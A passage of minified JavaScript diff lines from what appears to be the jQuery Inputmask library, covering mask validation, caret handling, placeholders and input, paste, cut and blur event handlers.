(w = w.split(",")[0]); + var k = m().validPositions[_], + L = m().validPositions[_ - 1]; + e.each(M(_, L ? L.locator : n, _ - 1), function (a, u) { + h = u.locator[o] ? u.locator[o].toString().split(",") : []; + for (var d = 0; d < h.length; d++) { + var b = [], + M = 0, + L = 0, + T = !1; + if (w < h[d] && (u.na === n || -1 === e.inArray(h[d], u.na.split(",")) || -1 === e.inArray(w.toString(), h))) { + m().validPositions[_] = e.extend(!0, {}, u); + var x = m().validPositions[_].locator; + for (m().validPositions[_].locator[o] = parseInt(h[d]), null == u.match.fn ? (k.input !== u.match.def && (T = !0, !0 !== k.generatedInput && b.push(k.input)), L++, m().validPositions[_].generatedInput = !/[0-9a-bA-Z]/.test(u.match.def), m().validPositions[_].input = u.match.def) : m().validPositions[_].input = k.input, f = _ + 1; f < v(n, !0) + 1; f++)(c = m().validPositions[f]) && !0 !== c.generatedInput && /[0-9a-bA-Z]/.test(c.input) ? b.push(c.input) : f < t && M++, delete m().validPositions[f]; + for (T && b[0] === u.match.def && b.shift(), p(!0), y = !0; b.length > 0;) { + var S = b.shift(); + if (S !== l.skipOptionalPartCharacter && !(y = Y(v(n, !0) + 1, S, !1, s, !0))) break + } + if (y) { + m().validPositions[_].locator = x; + var D = v(t) + 1; + for (f = _ + 1; f < v() + 1; f++)((c = m().validPositions[f]) === n || null == c.match.fn) && f < t + (L - M) && L++; + y = Y((t += L - M) > D ? D : t, i, r, s, !0) + } + if (y) return !1; + p(), m().validPositions = e.extend(!0, {}, g) + } + } + }) + } + return y + }(b, i, a)), !0 === k && (k = { + pos: b + }) + } + if (e.isFunction(l.postValidation) && !1 !== k && !a && !0 !== s && !0 !== u) { + var I = l.postValidation(L(!0), k, l); + if (I.refreshFromBuffer && I.buffer) { + var F = I.refreshFromBuffer; + T(!0 === F ? F : F.start, F.end, I.buffer) + } + k = !0 === I ? k : I + } + return k && k.pos === n && (k.pos = b), !1 !== k && !0 !== u || (p(!0), m().validPositions = e.extend(!0, {}, C)), k + } + + function D(e, t) { + var i = y(e).match; + if ("" === i.def && (i = b(e).match), null != i.fn) return i.fn; + if (!0 !== t && e > -1) { + var n = M(e); + return n.length > 1 + ("" === n[n.length - 1].match.def ? 1 : 0) + } + return !1 + } + + function E(e, t) { + var i = m().maskLength; + if (e >= i) return i; + var n = e; + for (M(i + 1).length > 1 && (h(!0, i + 1, !0), i = m().maskLength); ++n < i && (!0 === t && (!0 !== b(n).match.newBlockMarker || !D(n)) || !0 !== t && !D(n));); + return n + } + + function C(e, t) { + var i, n = e; + if (n <= 0) return 0; + for (; --n > 0 && (!0 === t && !0 !== b(n).match.newBlockMarker || !0 !== t && !D(n) && ((i = M(n)).length < 2 || 2 === i.length && "" === i[1].match.def));); + return n + } + + function P(e) { + return m().validPositions[e] === n ? O(e) : m().validPositions[e].input + } + + function A(t, i, r, a, s) { + if (a && e.isFunction(l.onBeforeWrite)) { + var o = l.onBeforeWrite.call(U, a, i, r, l); + if (o) { + if (o.refreshFromBuffer) { + var u = o.refreshFromBuffer; + T(!0 === u ? u : u.start, u.end, o.buffer || i), i = L(!0) + } + r !== n && (r = o.caret !== n ? o.caret : r) + } + } + t !== n && (t.inputmask._valueSet(i.join("")), r === n || a !== n && "blur" === a.type ? B(t, r, 0 === i.length) : c && a && "input" === a.type ? setTimeout(function () { + I(t, r) + }, 0) : I(t, r), !0 === s && (Q = !0, e(t).trigger("input"))) + } + + function O(t, i, r) { + if ((i = i || b(t).match).placeholder !== n || !0 === r) return e.isFunction(i.placeholder) ? i.placeholder(l) : i.placeholder; + if (null === i.fn) { + if (t > -1 && m().validPositions[t] === n) { + var a, s = M(t), + o = []; + if (s.length > 1 + ("" === s[s.length - 1].match.def ? 1 : 0)) + for (var u = 0; u < s.length; u++) + if (!0 !== s[u].match.optionality && !0 !== s[u].match.optionalQuantifier && (null === s[u].match.fn || a === n || !1 !== s[u].match.fn.test(a.match.def, m(), t, !0, l)) && (o.push(s[u]), null === s[u].match.fn && (a = s[u]), o.length > 1 && /[0-9a-bA-Z]/.test(o[0].match.def))) return l.placeholder.charAt(t % l.placeholder.length) + } + return i.def + } + return l.placeholder.charAt(t % l.placeholder.length) + } + + function j(t, a, s, o, u) { + function d(e, t) { + return -1 !== k().slice(e, E(e)).join("").indexOf(t) && !D(e) && b(e).match.nativeDef === t.charAt(t.length - 1) + } + var f = o.slice(), + c = "", + h = -1, + _ = n; + if (p(), s || !0 === l.autoUnmask) h = E(h); + else { + var g = k().slice(0, E(-1)).join(""), + w = f.join("").match(new RegExp("^" + r.escapeRegex(g), "g")); + w && w.length > 0 && (f.splice(0, w.length * g.length), h = E(h)) + } + if (-1 === h ? (m().p = E(h), h = 0) : m().p = h, e.each(f, function (i, r) { + if (r !== n) + if (m().validPositions[i] === n && f[i] === O(i) && D(i, !0) && !1 === Y(i, f[i], !0, n, n, !0)) m().p++; + else { + var a = new e.Event("_checkval"); + a.which = r.charCodeAt(0), c += r; + var o = v(n, !0), + u = m().validPositions[o], + g = y(o + 1, u ? u.locator.slice() : n, o); + if (!d(h, c) || s || l.autoUnmask) { + var b = s ? i : null == g.match.fn && g.match.optionality && o + 1 < m().p ? o + 1 : m().p; + _ = ie.keypressEvent.call(t, a, !0, !1, s, b), h = b + 1, c = "" + } else _ = ie.keypressEvent.call(t, a, !0, !1, !0, o + 1); + if (!1 !== _ && !s && e.isFunction(l.onBeforeWrite)) { + var w = _; + if (_ = l.onBeforeWrite.call(U, a, L(), _.forwardPosition, l), (_ = e.extend(w, _)) && _.refreshFromBuffer) { + var M = _.refreshFromBuffer; + T(!0 === M ? M : M.start, M.end, _.buffer), p(!0), _.caret && (m().p = _.caret, _.forwardPosition = _.caret) + } + } + } + }), a) { + var M = n; + i.activeElement === t && _ && (M = l.numericInput ? C(_.forwardPosition) : _.forwardPosition), A(t, L(), M, u || new e.Event("checkval"), u && "input" === u.type) + } + } + + function H(t) { + if (t) { + if (t.inputmask === n) return t.value; + t.inputmask && t.inputmask.refreshValue && ie.setValueEvent.call(t) + } + var i = [], + r = m().validPositions; + for (var a in r) r[a].match && null != r[a].match.fn && i.push(r[a].input); + var s = 0 === i.length ? "" : (J ? i.reverse() : i).join(""); + if (e.isFunction(l.onUnMask)) { + var o = (J ? L().slice().reverse() : L()).join(""); + s = l.onUnMask.call(U, o, s, l) + } + return s + } + + function I(e, r, a, s) { + function o(e) { + return !0 === s || !J || "number" != typeof e || l.greedy && "" === l.placeholder || (e = L().join("").length - e), e + } + var d; + if (r === n) return e.setSelectionRange ? (r = e.selectionStart, a = e.selectionEnd) : t.getSelection ? (d = t.getSelection().getRangeAt(0)).commonAncestorContainer.parentNode !== e && d.commonAncestorContainer !== e || (r = d.startOffset, a = d.endOffset) : i.selection && i.selection.createRange && (a = (r = 0 - (d = i.selection.createRange()).duplicate().moveStart("character", -e.inputmask._valueGet().length)) + d.text.length), { + begin: o(r), + end: o(a) + }; + if (r.begin !== n && (a = r.end, r = r.begin), "number" == typeof r) { + r = o(r), a = "number" == typeof (a = o(a)) ? a : r; + var f = parseInt(((e.ownerDocument.defaultView || t).getComputedStyle ? (e.ownerDocument.defaultView || t).getComputedStyle(e, null) : e.currentStyle).fontSize) * a; + if (e.scrollLeft = f > e.scrollWidth ? f : 0, u || !1 !== l.insertMode || r !== a || a++, e.setSelectionRange) e.selectionStart = r, e.selectionEnd = a; + else if (t.getSelection) { + if (d = i.createRange(), e.firstChild === n || null === e.firstChild) { + var c = i.createTextNode(""); + e.appendChild(c) + } + d.setStart(e.firstChild, r < e.inputmask._valueGet().length ? r : e.inputmask._valueGet().length), d.setEnd(e.firstChild, a < e.inputmask._valueGet().length ? a : e.inputmask._valueGet().length), d.collapse(!0); + var h = t.getSelection(); + h.removeAllRanges(), h.addRange(d) + } else e.createTextRange && ((d = e.createTextRange()).collapse(!0), d.moveEnd("character", a), d.moveStart("character", r), d.select()); + B(e, { + begin: r, + end: a + }) + } + } + + function F(t) { + var i, r, a = L(), + s = a.length, + o = v(), + l = {}, + u = m().validPositions[o], + d = u !== n ? u.locator.slice() : n; + for (i = o + 1; i < a.length; i++) d = (r = y(i, d, i - 1)).locator.slice(), l[i] = e.extend(!0, {}, r); + var f = u && u.alternation !== n ? u.locator[u.alternation] : n; + for (i = s - 1; i > o && (((r = l[i]).match.optionality || r.match.optionalQuantifier && r.match.newBlockMarker || f && (f !== l[i].locator[u.alternation] && null != r.match.fn || null === r.match.fn && r.locator[u.alternation] && S(r.locator[u.alternation].toString().split(","), f.toString().split(",")) && "" !== M(i)[0].def)) && a[i] === O(i, r.match)); i--) s--; + return t ? { + l: s, + def: l[s] ? l[s].match : n + } : s + } + + function z(e) { + for (var t, i = F(), r = e.length, a = m().validPositions[v()]; i < r && !D(i, !0) && (t = a !== n ? y(i, a.locator.slice(""), a) : b(i)) && !0 !== t.match.optionality && (!0 !== t.match.optionalQuantifier && !0 !== t.match.newBlockMarker || i + 1 === r && "" === (a !== n ? y(i + 1, a.locator.slice(""), a) : b(i + 1)).match.def);) i++; + for (; + (t = m().validPositions[i - 1]) && t && t.match.optionality && t.input === l.skipOptionalPartCharacter;) i--; + return e.splice(i), e + } + + function R(t) { + if (e.isFunction(l.isComplete)) return l.isComplete(t, l); + if ("*" === l.repeat) return n; + var i = !1, + r = F(!0), + a = C(r.l); + if (r.def === n || r.def.newBlockMarker || r.def.optionality || r.def.optionalQuantifier) { + i = !0; + for (var s = 0; s <= a; s++) { + var o = y(s).match; + if (null !== o.fn && m().validPositions[s] === n && !0 !== o.optionality && !0 !== o.optionalQuantifier || null === o.fn && t[s] !== O(s, o)) { + i = !1; + break + } + } + } + return i + } + + function N(t, i, a, s, o) { + if ((l.numericInput || J) && (i === r.keyCode.BACKSPACE ? i = r.keyCode.DELETE : i === r.keyCode.DELETE && (i = r.keyCode.BACKSPACE), J)) { + var u = a.end; + a.end = a.begin, a.begin = u + } + i === r.keyCode.BACKSPACE && (a.end - a.begin < 1 || !1 === l.insertMode) ? (a.begin = C(a.begin), m().validPositions[a.begin] !== n && m().validPositions[a.begin].input === l.groupSeparator && a.begin--) : i === r.keyCode.DELETE && a.begin === a.end && (a.end = D(a.end, !0) && m().validPositions[a.end] && m().validPositions[a.end].input !== l.radixPoint ? a.end + 1 : E(a.end) + 1, m().validPositions[a.begin] !== n && m().validPositions[a.begin].input === l.groupSeparator && a.end++), _(a.begin, a.end, !1, s), !0 !== s && function () { + if (l.keepStatic) { + for (var i = [], r = v(-1, !0), a = e.extend(!0, {}, m().validPositions), s = m().validPositions[r]; r >= 0; r--) { + var o = m().validPositions[r]; + if (o) { + if (!0 !== o.generatedInput && /[0-9a-bA-Z]/.test(o.input) && i.push(o.input), delete m().validPositions[r], o.alternation !== n && o.locator[o.alternation] !== s.locator[o.alternation]) break; + s = o + } + } + if (r > -1) + for (m().p = E(v(-1, !0)); i.length > 0;) { + var u = new e.Event("keypress"); + u.which = i.pop().charCodeAt(0), ie.keypressEvent.call(t, u, !0, !1, !1, m().p) + } else m().validPositions = e.extend(!0, {}, a) + } + }(); + var d = v(a.begin, !0); + if (d < a.begin) m().p = E(d); + else if (!0 !== s && (m().p = a.begin, !0 !== o)) + for (; m().p < d && m().validPositions[m().p] === n;) m().p++ + } + + function W(n) { + function r(e) { + var t, r = i.createElement("span"); + for (var s in a) isNaN(s) && -1 !== s.indexOf("font") && (r.style[s] = a[s]); + r.style.textTransform = a.textTransform, r.style.letterSpacing = a.letterSpacing, r.style.position = "absolute", r.style.height = "auto", r.style.width = "auto", r.style.visibility = "hidden", r.style.whiteSpace = "nowrap", i.body.appendChild(r); + var o, l = n.inputmask._valueGet(), + u = 0; + for (t = 0, o = l.length; t <= o; t++) { + if (r.innerHTML += l.charAt(t) || "_", r.offsetWidth >= e) { + var d = e - u, + f = r.offsetWidth - e; + r.innerHTML = l.charAt(t), t = (d -= r.offsetWidth / 3) < f ? t - 1 : t; + break + } + u = r.offsetWidth + } + return i.body.removeChild(r), t + } + var a = (n.ownerDocument.defaultView || t).getComputedStyle(n, null), + s = i.createElement("div"); + s.style.width = a.width, s.style.textAlign = a.textAlign, (G = i.createElement("div")).className = "im-colormask", n.parentNode.insertBefore(G, n), n.parentNode.removeChild(n), G.appendChild(s), G.appendChild(n), n.style.left = s.offsetLeft + "px", e(n).on("click", function (e) { + return I(n, r(e.clientX)), ie.clickEvent.call(n, [e]) + }), e(n).on("keydown", function (e) { + e.shiftKey || !1 === l.insertMode || setTimeout(function () { + B(n) + }, 0) + }) + } + + function B(e, t, r) { + function a() { + c || null !== o.fn && u.input !== n ? c && (null !== o.fn && u.input !== n || "" === o.def) && (c = !1, f += "") : (c = !0, f += "") + } + + function s(n) { + !0 !== n && h !== t.begin || i.activeElement !== e || (f += "") + } + var o, u, d, f = "", + c = !1, + h = 0; + if (G !== n) { + var p = L(); + if (t === n ? t = I(e) : t.begin === n && (t = { + begin: t, + end: t + }), !0 !== r) { + var _ = v(); + do { + s(), m().validPositions[h] ? (u = m().validPositions[h], o = u.match, d = u.locator.slice(), a(), f += p[h]) : (u = y(h, d, h - 1), o = u.match, d = u.locator.slice(), (!1 === l.jitMasking || h < _ || "number" == typeof l.jitMasking && isFinite(l.jitMasking) && l.jitMasking > h) && (a(), f += O(h, o))), h++ + } while ((V === n || h < V) && (null !== o.fn || "" !== o.def) || _ > h || c); - 1 === f.indexOf("im-caret") && s(!0), c && a() + } + var g = G.getElementsByTagName("div")[0]; + g.innerHTML = f, e.inputmask.positionColorMask(e, g) + } + } + s = s || this.maskset, l = l || this.opts; + var q, $, V, G, U = this, + X = this.el, + J = this.isRTL, + K = !1, + Q = !1, + Z = !1, + ee = !1, + te = { + on: function (t, i, a) { + var s = function (t) { + if (this.inputmask === n && "FORM" !== this.nodeName) { + var i = e.data(this, "_inputmask_opts"); + i ? new r(i).mask(this) : te.off(this) + } else { + if ("setvalue" === t.type || "FORM" === this.nodeName || !(this.disabled || this.readOnly && !("keydown" === t.type && t.ctrlKey && 67 === t.keyCode || !1 === l.tabThrough && t.keyCode === r.keyCode.TAB))) { + switch (t.type) { + case "input": + if (!0 === Q) return Q = !1, t.preventDefault(); + break; + case "keydown": + K = !1, Q = !1; + break; + case "keypress": + if (!0 === K) return t.preventDefault(); + K = !0; + break; + case "click": + if (d || f) { + var s = this, + o = arguments; + return setTimeout(function () { + a.apply(s, o) + }, 0), !1 + } + } + var u = a.apply(this, arguments); + return !1 === u && (t.preventDefault(), t.stopPropagation()), u + } + t.preventDefault() + } + }; + t.inputmask.events[i] = t.inputmask.events[i] || [], t.inputmask.events[i].push(s), -1 !== e.inArray(i, ["submit", "reset"]) ? null !== t.form && e(t.form).on(i, s) : e(t).on(i, s) + }, + off: function (t, i) { + if (t.inputmask && t.inputmask.events) { + var n; + i ? (n = [])[i] = t.inputmask.events[i] : n = t.inputmask.events, e.each(n, function (i, n) { + for (; n.length > 0;) { + var r = n.pop(); - 1 !== e.inArray(i, ["submit", "reset"]) ? null !== t.form && e(t.form).off(i, r) : e(t).off(i, r) + } + delete t.inputmask.events[i] + }) + } + } + }, + ie = { + keydownEvent: function (t) { + var n = this, + a = e(n), + s = t.keyCode, + o = I(n); + if (s === r.keyCode.BACKSPACE || s === r.keyCode.DELETE || f && s === r.keyCode.BACKSPACE_SAFARI || t.ctrlKey && s === r.keyCode.X && ! function (e) { + var t = i.createElement("input"), + n = "on" + e, + r = n in t; + return r || (t.setAttribute(n, "return;"), r = "function" == typeof t[n]), t = null, r + }("cut")) t.preventDefault(), N(n, s, o), A(n, L(!0), m().p, t, n.inputmask._valueGet() !== L().join("")), n.inputmask._valueGet() === k().join("") ? a.trigger("cleared") : !0 === R(L()) && a.trigger("complete"); + else if (s === r.keyCode.END || s === r.keyCode.PAGE_DOWN) { + t.preventDefault(); + var u = E(v()); + l.insertMode || u !== m().maskLength || t.shiftKey || u--, I(n, t.shiftKey ? o.begin : u, u, !0) + } else s === r.keyCode.HOME && !t.shiftKey || s === r.keyCode.PAGE_UP ? (t.preventDefault(), I(n, 0, t.shiftKey ? o.begin : 0, !0)) : (l.undoOnEscape && s === r.keyCode.ESCAPE || 90 === s && t.ctrlKey) && !0 !== t.altKey ? (j(n, !0, !1, q.split("")), a.trigger("click")) : s !== r.keyCode.INSERT || t.shiftKey || t.ctrlKey ? !0 === l.tabThrough && s === r.keyCode.TAB ? (!0 === t.shiftKey ? (null === b(o.begin).match.fn && (o.begin = E(o.begin)), o.end = C(o.begin, !0), o.begin = C(o.end, !0)) : (o.begin = E(o.begin, !0), o.end = E(o.begin, !0), o.end < m().maskLength && o.end--), o.begin < m().maskLength && (t.preventDefault(), I(n, o.begin, o.end))) : t.shiftKey || !1 === l.insertMode && (s === r.keyCode.RIGHT ? setTimeout(function () { + var e = I(n); + I(n, e.begin) + }, 0) : s === r.keyCode.LEFT && setTimeout(function () { + var e = I(n); + I(n, J ? e.begin + 1 : e.begin - 1) + }, 0)) : (l.insertMode = !l.insertMode, I(n, l.insertMode || o.begin !== m().maskLength ? o.begin : o.begin - 1)); + l.onKeyDown.call(this, t, L(), I(n).begin, l), Z = -1 !== e.inArray(s, l.ignorables) + }, + keypressEvent: function (t, i, a, s, o) { + var u = this, + d = e(u), + f = t.which || t.charCode || t.keyCode; + if (!(!0 === i || t.ctrlKey && t.altKey) && (t.ctrlKey || t.metaKey || Z)) return f === r.keyCode.ENTER && q !== L().join("") && (q = L().join(""), setTimeout(function () { + d.trigger("change") + }, 0)), !0; + if (f) { + 46 === f && !1 === t.shiftKey && "" !== l.radixPoint && (f = l.radixPoint.charCodeAt(0)); + var c, h = i ? { + begin: o, + end: o + } : I(u), + v = String.fromCharCode(f); + m().writeOutBuffer = !0; + var _ = Y(h, v, s); + if (!1 !== _ && (p(!0), c = _.caret !== n ? _.caret : i ? _.pos + 1 : E(_.pos), m().p = c), !1 !== a && (setTimeout(function () { + l.onKeyValidation.call(u, f, _, l) + }, 0), m().writeOutBuffer && !1 !== _)) { + var g = L(); + A(u, g, l.numericInput && _.caret === n ? C(c) : c, t, !0 !== i), !0 !== i && setTimeout(function () { + !0 === R(g) && d.trigger("complete") + }, 0) + } + if (t.preventDefault(), i) return !1 !== _ && (_.forwardPosition = c), _ + } + }, + pasteEvent: function (i) { + var n, r = this, + a = i.originalEvent || i, + s = e(r), + o = r.inputmask._valueGet(!0), + u = I(r); + J && (n = u.end, u.end = u.begin, u.begin = n); + var d = o.substr(0, u.begin), + f = o.substr(u.end, o.length); + if (d === (J ? k().reverse() : k()).slice(0, u.begin).join("") && (d = ""), f === (J ? k().reverse() : k()).slice(u.end).join("") && (f = ""), J && (n = d, d = f, f = n), t.clipboardData && t.clipboardData.getData) o = d + t.clipboardData.getData("Text") + f; + else { + if (!a.clipboardData || !a.clipboardData.getData) return !0; + o = d + a.clipboardData.getData("text/plain") + f + } + var c = o; + if (e.isFunction(l.onBeforePaste)) { + if (!1 === (c = l.onBeforePaste.call(U, o, l))) return i.preventDefault(); + c || (c = o) + } + return j(r, !1, !1, J ? c.split("").reverse() : c.toString().split("")), A(r, L(), E(v()), i, q !== L().join("")), !0 === R(L()) && s.trigger("complete"), i.preventDefault() + }, + inputFallBackEvent: function (t) { + var i = this, + n = i.inputmask._valueGet(); + if (L().join("") !== n) { + var a = I(i); + if (!1 === function (t, i, n) { + if ("." === i.charAt(n.begin - 1) && "" !== l.radixPoint && ((i = i.split(""))[n.begin - 1] = l.radixPoint.charAt(0), i = i.join("")), i.charAt(n.begin - 1) === l.radixPoint && i.length > L().length) { + var r = new e.Event("keypress"); + return r.which = l.radixPoint.charCodeAt(0), ie.keypressEvent.call(t, r, !0, !0, !1, n.begin - 1), !1 + } + }(i, n, a)) return !1; + if (n = n.replace(new RegExp("(" + r.escapeRegex(k().join("")) + ")*"), ""), !1 === function (t, i, n) { + if (d) { + var r = i.replace(L().join(""), ""); + if (1 === r.length) { + var a = new e.Event("keypress"); + return a.which = r.charCodeAt(0), ie.keypressEvent.call(t, a, !0, !0, !1, m().validPositions[n.begin - 1] ? n.begin : n.begin - 1), !1 + } + } + }(i, n, a)) return !1; + a.begin > n.length && (I(i, n.length), a = I(i)); + var s = L().join(""), + o = n.substr(0, a.begin), + u = n.substr(a.begin), + f = s.substr(0, a.begin), + c = s.substr(a.begin), + h = a, + p = "", + v = !1; + if (o !== f) { + h.begin = 0; + for (var _ = (v = o.length >= f.length) ? o.length : f.length, g = 0; o.charAt(g) === f.charAt(g) && g < _; g++) h.begin++; + v && (p += o.slice(h.begin, h.end)) + } + u !== c && (u.length > c.length ? v && (h.end = h.begin) : u.length < c.length ? h.end += c.length - u.length : u.charAt(0) !== c.charAt(0) && h.end++), A(i, L(), h), p.length > 0 ? e.each(p.split(""), function (t, n) { + var r = new e.Event("keypress"); + r.which = n.charCodeAt(0), Z = !1, ie.keypressEvent.call(i, r) + }) : (h.begin === h.end - 1 && I(i, C(h.begin + 1), h.end), t.keyCode = r.keyCode.DELETE, ie.keydownEvent.call(i, t)), t.preventDefault() + } + }, + setValueEvent: function (t) { + this.inputmask.refreshValue = !1; + var i = this, + n = i.inputmask._valueGet(!0); + e.isFunction(l.onBeforeMask) && (n = l.onBeforeMask.call(U, n, l) || n), n = n.split(""), j(i, !0, !1, J ? n.reverse() : n), q = L().join(""), (l.clearMaskOnLostFocus || l.clearIncomplete) && i.inputmask._valueGet() === k().join("") && i.inputmask._valueSet("") + }, + focusEvent: function (e) { + var t = this, + i = t.inputmask._valueGet(); + l.showMaskOnFocus && (!l.showMaskOnHover || l.showMaskOnHover && "" === i) && (t.inputmask._valueGet() !== L().join("") ? A(t, L(), E(v())) : !1 === ee && I(t, E(v()))), !0 === l.positionCaretOnTab && !1 === ee && "" !== i && (A(t, L(), I(t)), ie.clickEvent.apply(t, [e, !0])), q = L().join("") + }, + mouseleaveEvent: function (e) { + var t = this; + if (ee = !1, l.clearMaskOnLostFocus && i.activeElement !== t) { + var n = L().slice(), + r = t.inputmask._valueGet(); + r !== t.getAttribute("placeholder") && "" !== r && (-1 === v() && r === k().join("") ? n = [] : z(n), A(t, n)) + } + }, + clickEvent: function (t, r) { + function a(t) { + if ("" !== l.radixPoint) { + var i = m().validPositions; + if (i[t] === n || i[t].input === O(t)) { + if (t < E(-1)) return !0; + var r = e.inArray(l.radixPoint, L()); + if (-1 !== r) { + for (var a in i) + if (r < a && i[a].input !== O(a)) return !1; + return !0 + } + } + } + return !1 + } + var s = this; + setTimeout(function () { + if (i.activeElement === s) { + var e = I(s); + if (r && (J ? e.end = e.begin : e.begin = e.end), e.begin === e.end) switch (l.positionCaretOnClick) { + case "none": + break; + case "radixFocus": + if (a(e.begin)) { + var t = L().join("").indexOf(l.radixPoint); + I(s, l.numericInput ? E(t) : t); + break + } + default: + var o = e.begin, + u = v(o, !0), + d = E(u); + if (o < d) I(s, D(o, !0) || D(o - 1, !0) ? o : E(o)); + else { + var f = m().validPositions[u], + c = y(d, f ? f.match.locator : n, f), + h = O(d, c.match); + if ("" !== h && L()[d] !== h && !0 !== c.match.optionalQuantifier && !0 !== c.match.newBlockMarker || !D(d, !0) && c.match.def === h) { + var p = E(d); + (o >= p || o === d) && (d = p) + } + I(s, d) + } + } + } + }, 0) + }, + dblclickEvent: function (e) { + var t = this; + setTimeout(function () { + I(t, 0, E(v())) + }, 0) + }, + cutEvent: function (n) { + var a = this, + s = e(a), + o = I(a), + l = n.originalEvent || n, + u = t.clipboardData || l.clipboardData, + d = J ? L().slice(o.end, o.begin) : L().slice(o.begin, o.end); + u.setData("text", J ? d.reverse().join("") : d.join("")), i.execCommand && i.execCommand("copy"), N(a, r.keyCode.DELETE, o), A(a, L(), m().p, n, q !== L().join("")), a.inputmask._valueGet() === k().join("") && s.trigger("cleared") + }, + blurEvent: function (t) { + var i = e(this), + r = this; + if (r.inputmask) { + var a = r.inputmask._valueGet(), + s = L().slice(); + "" !== a && (l.clearMaskOnLostFocus && (-1 === v() && a === k().join("") ? s = [] : z(s)), !1 === R(s) && (setTimeout(function () { + i.trigger("incomplete") + }, 0), l.clearIncomplete && (p(), s = l.clearMaskOnLostFocus ? [] : k().slice())), A(r, s, n, t)), q !== L().join("") && (q = s.join(""), i.trigger("change")) + } + }, + mouseenterEvent: function (e) { + var t = this; + ee = !0, i.activeElement !== t && l.showMaskOnHover && t.inputmask._valueGet() !== L().join("") && A(t, L()) + }, + submitEvent: function (e) { + q !== L().join("") && $.trigger("change"), l.clearMaskOnLostFocus && -1 === v() && X.inputmask._valueGet && X.inputmask._valueGet() === k().join("") && X.inputmask._valueSet(""), l.removeMaskOnSubmit && (X.inputmask._valueSet(X.inputmask.unmaskedvalue(), !0), setTimeout(function () { + A(X, L()) + }, 0)) + }, + resetEvent: function (e) { + X.inputmask.refreshValue = !0, setTimeout(function () { + $.trigger("setvalue") + }, 0) + } + }; + r.prototype.positionColorMask = function (e, t) { + e.style.left = t.offsetLeft + "px" + }; + var ne; + if (a !== n) switch (a.action) { + case "isComplete": + return X = a.el, R(L()); + case "unmaskedvalue": + return X !== n && a.value === n || (ne = a.value, ne = (e.isFunction(l.onBeforeMask) ? l.onBeforeMask.call(U, ne, l) || ne : ne).split(""), j(n, !1, !1, J ? ne.reverse() : ne), e.isFunction(l.onBeforeWrite) && l.onBeforeWrite.call(U, n, L(), 0, l)), H(X); + case "mask": + ! function (t) { + te.off(t); + var r = function (t, r) { + var a = t.getAttribute("type"), + s = "INPUT" === t.tagName && -1 !== e.inArray(a, r.supportsInputType) || t.isContentEditable || "TEXTAREA" === t.tagName; + if (!s) + if ("INPUT" === t.tagName) { + var o = i.createElement("input"); + o.setAttribute("type", a), s = "text" === o.type, o = null + } else s = "partial"; + return !1 !== s ? function (t) { + function a() { + return this.inputmask ? this.inputmask.opts.autoUnmask ? this.inputmask.unmaskedvalue() : -1 !== v() || !0 !== r.nullable ? i.activeElement === this && r.clearMaskOnLostFocus ? (J ? z(L().slice()).reverse() : z(L().slice())).join("") : o.call(this) : "" : o.call(this) + } + + function s(t) { + l.call(this, t), this.inputmask && e(this).trigger("setvalue") + } + var o, l; + if (!t.inputmask.__valueGet) { + if (!0 !== r.noValuePatching) { + if (Object.getOwnPropertyDescriptor) { + "function" != typeof Object.getPrototypeOf && (Object.getPrototypeOf = "object" == typeof "test".__proto__ ? function (e) { + return e.__proto__ + } : function (e) { + return e.constructor.prototype + }); + var u = Object.getPrototypeOf ? Object.getOwnPropertyDescriptor(Object.getPrototypeOf(t), "value") : n; + u && u.get && u.set ? (o = u.get, l = u.set, Object.defineProperty(t, "value", { + get: a, + set: s, + configurable: !0 + })) : "INPUT" !== t.tagName && (o = function () { + return this.textContent + }, l = function (e) { + this.textContent = e + }, Object.defineProperty(t, "value", { + get: a, + set: s, + configurable: !0 + })) + } else i.__lookupGetter__ && t.__lookupGetter__("value") && (o = t.__lookupGetter__("value"), l = t.__lookupSetter__("value"), t.__defineGetter__("value", a), t.__defineSetter__("value", s)); + t.inputmask.__valueGet = o, t.inputmask.__valueSet = l + } + t.inputmask._valueGet = function (e) { + return J && !0 !== e ? o.call(this.el).split("").reverse().join("") : o.call(this.el) + }, t.inputmask._valueSet = function (e, t) { + l.call(this.el, null === e || e === n ? "" : !0 !== t && J ? e.split("").reverse().join("") : e) + }, o === n && (o = function () { + return this.value + }, l = function (e) { + this.value = e + }, function (t) { + if (e.valHooks && (e.valHooks[t] === n || !0 !== e.valHooks[t].inputmaskpatch)) { + var i = e.valHooks[t] && e.valHooks[t].get ? e.valHooks[t].get : function (e) { + return e.value + }, + a = e.valHooks[t] && e.valHooks[t].set ? e.valHooks[t].set : function (e, t) { + return e.value = t, e + }; + e.valHooks[t] = { + get: function (e) { + if (e.inputmask) { + if (e.inputmask.opts.autoUnmask) return e.inputmask.unmaskedvalue(); + var t = i(e); + return -1 !== v(n, n, e.inputmask.maskset.validPositions) || !0 !== r.nullable ? t : "" + } + return i(e) + }, + set: function (t, i) { + var n, r = e(t); + return n = a(t, i), t.inputmask && r.trigger("setvalue"), n + }, + inputmaskpatch: !0 + } + } + }(t.type), function (t) { + te.on(t, "mouseenter", function (t) { + var i = e(this); + this.inputmask._valueGet() !== L().join("") && i.trigger("setvalue") + }) + }(t)) + } + }(t) : t.inputmask = n, s + }(t, l); + if (!1 !== r && (X = t, $ = e(X), -1 === (V = X !== n ? X.maxLength : n) && (V = n), !0 === l.colorMask && W(X), c && (X.hasOwnProperty("inputmode") && (X.inputmode = l.inputmode, X.setAttribute("inputmode", l.inputmode)), "rtfm" === l.androidHack && (!0 !== l.colorMask && W(X), X.type = "password")), !0 === r && (te.on(X, "submit", ie.submitEvent), te.on(X, "reset", ie.resetEvent), te.on(X, "mouseenter", ie.mouseenterEvent), te.on(X, "blur", ie.blurEvent), te.on(X, "focus", ie.focusEvent), te.on(X, "mouseleave", ie.mouseleaveEvent), !0 !== l.colorMask && te.on(X, "click", ie.clickEvent), te.on(X, "dblclick", ie.dblclickEvent), te.on(X, "paste", ie.pasteEvent), te.on(X, "dragdrop", ie.pasteEvent), te.on(X, "drop", ie.pasteEvent), te.on(X, "cut", ie.cutEvent), te.on(X, "complete", l.oncomplete), te.on(X, "incomplete", l.onincomplete), te.on(X, "cleared", l.oncleared), c || !0 === l.inputEventOnly ? X.removeAttribute("maxLength") : (te.on(X, "keydown", ie.keydownEvent), te.on(X, "keypress", ie.keypressEvent)), te.on(X, "compositionstart", e.noop), te.on(X, "compositionupdate", e.noop), te.on(X, "compositionend", e.noop), te.on(X, "keyup", e.noop), te.on(X, "input", ie.inputFallBackEvent), te.on(X, "beforeinput", e.noop)), te.on(X, "setvalue", ie.setValueEvent), q = k().join(""), "" !== X.inputmask._valueGet(!0) || !1 === l.clearMaskOnLostFocus || i.activeElement === X)) { + var a 